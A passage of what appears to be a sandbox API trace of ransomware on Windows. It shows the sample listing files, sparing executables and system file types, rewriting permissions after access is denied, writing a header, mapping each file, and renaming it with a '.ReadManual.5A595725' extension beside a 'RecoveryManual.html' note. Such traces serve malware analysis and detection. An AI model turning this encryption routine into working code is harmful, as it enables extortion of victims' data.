Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png.ReadManual.5A595725") returned 99 [0252.153] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37282144265) returned 1 [0252.153] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png")) returned 0x20 [0252.153] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.153] GetLastError () returned 0x5 [0252.153] GetNamedSecurityInfoW () returned 0x0 [0252.153] SetNamedSecurityInfoW () returned 0x0 [0252.153] SetNamedSecurityInfoW () returned 0x0 [0252.154] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\content-foreground.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\content-foreground.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.154] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=49904) returned 1 [0252.154] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc2f0, lpName=0x0) returned 0x1a0 [0252.154] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0252.155] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.155] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.156] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.156] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc2f0) returned 0x2f0000 [0252.157] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.158] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37282655061) returned 1 [0252.158] CloseHandle (hObject=0x1a0) returned 1 [0252.158] SetSecurityInfo () returned 0x5 [0252.158] SetSecurityInfo () returned 0x5 [0252.158] LocalFree (hMem=0x674d38) returned 0x0 [0252.158] CloseHandle (hObject=0x184) returned 1 [0252.159] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72a6df2b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72a6df2b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b362f69, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb8c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="curtains.png", cAlternateFileName="")) returned 1 [0252.159] lstrcpyW (in: lpString1=0x6ab90e, lpString2="curtains.png" | out: lpString1="curtains.png") returned="curtains.png" [0252.159] lstrcmpiW (lpString1="curtains.png", lpString2="RecoveryManual.html") returned -1 [0252.159] StrStrIW (lpFirst="curtains.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.159] StrCmpIW (psz1="png", psz2="exe") returned 1 [0252.159] StrCmpIW (psz1="png", psz2="dll") returned 1 [0252.159] StrCmpIW (psz1="png", psz2="sys") returned -1 [0252.159] StrCmpIW (psz1="png", psz2="msi") returned 1 [0252.159] StrCmpIW (psz1="png", psz2="mui") returned 1 [0252.159] StrCmpIW (psz1="png", psz2="inf") returned 1 [0252.159] StrCmpIW (psz1="png", psz2="cat") returned 1 [0252.159] StrCmpIW (psz1="png", psz2="bat") returned 1 [0252.159] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0252.159] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0252.159] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0252.159] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0252.159] StrCmpIW (psz1="png", psz2="fon") returned 1 [0252.159] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0252.159] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" [0252.160] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png.ReadManual.5A595725" [0252.160] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png.ReadManual.5A595725") returned 89 [0252.160] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37282836222) returned 1 [0252.160] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png")) returned 0x20 [0252.160] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.160] GetLastError () returned 0x5 [0252.160] GetNamedSecurityInfoW () returned 0x0 [0252.160] SetNamedSecurityInfoW () returned 0x0 [0252.160] SetNamedSecurityInfoW () returned 0x0 [0252.161] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\curtains.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\curtains.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.161] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=47300) returned 1 [0252.161] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb8c4, lpName=0x0) returned 0x1a0 [0252.161] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xc2) returned 1 [0252.162] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.162] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.163] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.163] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb8c4) returned 0x2f0000 [0252.173] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0252.173] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37284162426) returned 1 [0252.173] CloseHandle (hObject=0x1a0) returned 1 [0252.173] SetSecurityInfo () returned 0x5 [0252.173] SetSecurityInfo () returned 0x5 [0252.173] LocalFree (hMem=0x674d38) returned 0x0 [0252.173] CloseHandle (hObject=0x184) returned 1 [0252.173] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12d98, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="flower_precomp_matte.wmv", cAlternateFileName="")) returned 1 [0252.173] lstrcpyW (in: lpString1=0x6ab90e, lpString2="flower_precomp_matte.wmv" | out: lpString1="flower_precomp_matte.wmv") returned="flower_precomp_matte.wmv" [0252.173] lstrcmpiW (lpString1="flower_precomp_matte.wmv", lpString2="RecoveryManual.html") returned -1 [0252.173] StrStrIW (lpFirst="flower_precomp_matte.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.173] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0252.173] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0252.173] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0252.173] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0252.173] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0252.173] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0252.173] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0252.174] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0252.174] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0252.174] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0252.174] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0252.174] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0252.174] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0252.174] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0252.174] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" [0252.174] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv.ReadManual.5A595725" [0252.174] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv.ReadManual.5A595725") returned 101 [0252.174] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37284258784) returned 1 [0252.174] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv")) returned 0x20 [0252.175] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.175] GetLastError () returned 0x5 [0252.175] GetNamedSecurityInfoW () returned 0x0 [0252.175] SetNamedSecurityInfoW () returned 0x0 [0252.175] SetNamedSecurityInfoW () returned 0x0 [0252.176] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_precomp_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.176] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=77208) returned 1 [0252.176] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x12d98, lpName=0x0) returned 0x1a0 [0252.176] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xda) returned 1 [0252.177] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.177] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.178] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.178] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x12d98) returned 0x1de0000 [0252.180] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0252.181] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37284949568) returned 1 [0252.181] CloseHandle (hObject=0x1a0) returned 1 [0252.181] SetSecurityInfo () returned 0x5 [0252.181] SetSecurityInfo () returned 0x5 [0252.181] LocalFree (hMem=0x674d38) returned 0x0 [0252.181] CloseHandle (hObject=0x184) returned 1 [0252.182] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b52759, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b52759, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b3fb4e1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x14cd8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="flower_PreComp_MATTE_PAL.wmv", cAlternateFileName="")) returned 1 [0252.182] lstrcpyW (in: lpString1=0x6ab90e, lpString2="flower_PreComp_MATTE_PAL.wmv" | out: lpString1="flower_PreComp_MATTE_PAL.wmv") returned="flower_PreComp_MATTE_PAL.wmv" [0252.182] lstrcmpiW (lpString1="flower_PreComp_MATTE_PAL.wmv", lpString2="RecoveryManual.html") returned -1 [0252.182] StrStrIW (lpFirst="flower_PreComp_MATTE_PAL.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.182] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0252.182] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0252.182] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0252.182] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0252.182] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0252.182] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0252.182] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0252.182] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0252.182] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0252.182] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0252.182] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0252.183] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0252.183] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0252.183] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0252.183] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" [0252.183] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv.ReadManual.5A595725" [0252.183] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv.ReadManual.5A595725") returned 105 [0252.183] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37285147707) returned 1 [0252.183] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv")) returned 0x20 [0252.183] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.183] GetLastError () returned 0x5 [0252.183] GetNamedSecurityInfoW () returned 0x0 [0252.183] SetNamedSecurityInfoW () returned 0x0 [0252.183] SetNamedSecurityInfoW () returned 0x0 [0252.184] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_PreComp_MATTE_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_precomp_matte_pal.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.184] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=85208) returned 1 [0252.184] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x14cd8, lpName=0x0) returned 0x1a0 [0252.184] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xe2) returned 1 [0252.185] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.185] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.186] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.187] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x14cd8) returned 0x1de0000 [0252.188] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0252.189] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37285759679) returned 1 [0252.189] CloseHandle (hObject=0x1a0) returned 1 [0252.189] SetSecurityInfo () returned 0x5 [0252.189] SetSecurityInfo () returned 0x5 [0252.189] LocalFree (hMem=0x674d38) returned 0x0 [0252.189] CloseHandle (hObject=0x184) returned 1 [0252.190] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72b788b6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72b788b6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4b42163f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x26618, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="flower_trans_matte.wmv", cAlternateFileName="")) returned 1 [0252.190] lstrcpyW (in: lpString1=0x6ab90e, lpString2="flower_trans_matte.wmv" | out: lpString1="flower_trans_matte.wmv") returned="flower_trans_matte.wmv" [0252.190] lstrcmpiW (lpString1="flower_trans_matte.wmv", lpString2="RecoveryManual.html") returned -1 [0252.190] StrStrIW (lpFirst="flower_trans_matte.wmv", lpSrch=".ReadManual.5A595725") returned 0x0 [0252.190] StrCmpIW (psz1="wmv", psz2="exe") returned 1 [0252.190] StrCmpIW (psz1="wmv", psz2="dll") returned 1 [0252.190] StrCmpIW (psz1="wmv", psz2="sys") returned 1 [0252.190] StrCmpIW (psz1="wmv", psz2="msi") returned 1 [0252.190] StrCmpIW (psz1="wmv", psz2="mui") returned 1 [0252.190] StrCmpIW (psz1="wmv", psz2="inf") returned 1 [0252.190] StrCmpIW (psz1="wmv", psz2="cat") returned 1 [0252.190] StrCmpIW (psz1="wmv", psz2="bat") returned 1 [0252.190] StrCmpIW (psz1="wmv", psz2="cmd") returned 1 [0252.191] StrCmpIW (psz1="wmv", psz2="ps1") returned 1 [0252.191] StrCmpIW (psz1="wmv", psz2="vbs") returned 1 [0252.191] StrCmpIW (psz1="wmv", psz2="ttf") returned 1 [0252.191] StrCmpIW (psz1="wmv", psz2="fon") returned 1 [0252.191] StrCmpIW (psz1="wmv", psz2="lnk") returned 1 [0252.191] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" [0252.191] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv.ReadManual.5A595725" [0252.191] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv.ReadManual.5A595725") returned 99 [0252.191] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37285953429) returned 1 [0252.191] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv")) returned 0x20 [0252.191] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0252.191] GetLastError () returned 0x5 [0252.191] GetNamedSecurityInfoW () returned 0x0 [0252.191] SetNamedSecurityInfoW () returned 0x0 [0252.192] SetNamedSecurityInfoW () returned 0x0 [0252.192] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\flower_trans_matte.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\flower_trans_matte.wmv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0252.192] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=157208) returned 1 [0252.192] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x26618, lpName=0x0) returned 0x1a0 [0252.192] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd6) returned 1 [0252.193] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0252.193] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0252.197] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0252.197] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x26618) returned 0x1de0000 [0252.200] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0252.201] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37286996425) returned 1 [0252.201] CloseHandle (hObject=0x1a0) returned 1 [0252.201] SetSecurityInfo () returned 0x5 [0252.201] SetSecurityInfo () returned 0x5 [0252.201] LocalFree (hMem=0x674d38) returned 0x0 [0252.201] CloseHandle (hObject=0x184) returned 1 [0252.202] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, 